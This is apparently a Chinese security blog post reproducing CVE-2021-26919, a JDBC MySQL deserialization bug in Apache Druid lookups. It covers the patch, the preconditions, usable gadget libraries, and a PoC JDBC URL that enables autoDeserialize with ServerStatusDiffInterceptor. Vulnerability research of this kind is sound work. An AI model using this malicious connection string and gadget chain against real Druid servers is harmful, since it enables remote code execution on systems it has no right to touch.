CVE-2021-26919是一个jdbc 反序列化类型漏洞,用作之前两篇jdbc mysql学习的练手,分析分析。
背景
已知是jdbc mysql反序列化的问题,可以直接看看官方的修复
https://github.com/apache/druid/compare/druid-0.20.1...druid-0.20.2
具体在这个commit里
https://github.com/apache/druid/commit/48953e3508967f5156c69676432b5d4dd25ea678
代码就不贴了,主要功能是设置了jdbc:mysql & jdbc:postgresql两类driver和对应的参数白名单
漏洞分析
知道漏洞类型,剩下就是找漏洞触发点了
jdbc触发点
最好的方式是多读官方文档,在lookup相关功能文档上找到
https://druid.apache.org/docs/0.19.0/development/extensions-core/druid-lookups.html#polling-lookup
1 | { |
相关的,在web console上也找到对应的功能点
mysql-connector-java
If using JDBC, you will need to add your database’s client JAR files to the extension’s directory. For Postgres, the connector JAR is already included. For MySQL, you can get it from https://dev.mysql.com/downloads/connector/j/. Copy or symlink the downloaded file to extensions/druid-lookups-cached-global under the distribution root directory.
- 需要将mysql-connector-java sdk拷贝至extensions/druid-lookups-cached-global
- 而且需要启动druid-lookups-cached-global组件,具体操作为在common.runtime.properties文件中修改druid.extensions.loadList,增加”druid-lookups-cached-global”扩展功能
gadgets
lib目录中找到几个常见gadgets
commons-collections
1
2commons-collections-3.2.2.jar
commons-collections4-4.2.jar实际不可用,利用条件为cc<=3.2.1 或cc4=4.0,具体可以看ysoserial
commons-beanutils
1
commons-beanutils-1.9.4.jar
虽然ysoserial写的是1.9.2,实测1.9.4也可以利用
poc
1 | url = "jdbc:mysql://localhost:3307/?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&maxAllowedPacket=65535" |
需要注意的是,提交之后,需要等一两分钟之后,才会触发jdbc连接
小结
本文简单复现了CVE-2021-26919漏洞,本以为很简单,结果还是用了大半天,踩了一些低级的坑,教训是多看文档、测试排查按最小变量来、多看程序输出日志。。。
总的来说这个漏洞利用场景比较鸡肋,需要在开启jdbc功能的前提下(sdk拷贝&配置文件中的扩展开启)。官方的修复也是彻底,直接通过白名单做了限制,连postgresql也一并处理了,难道postgresql也存在利用点不成?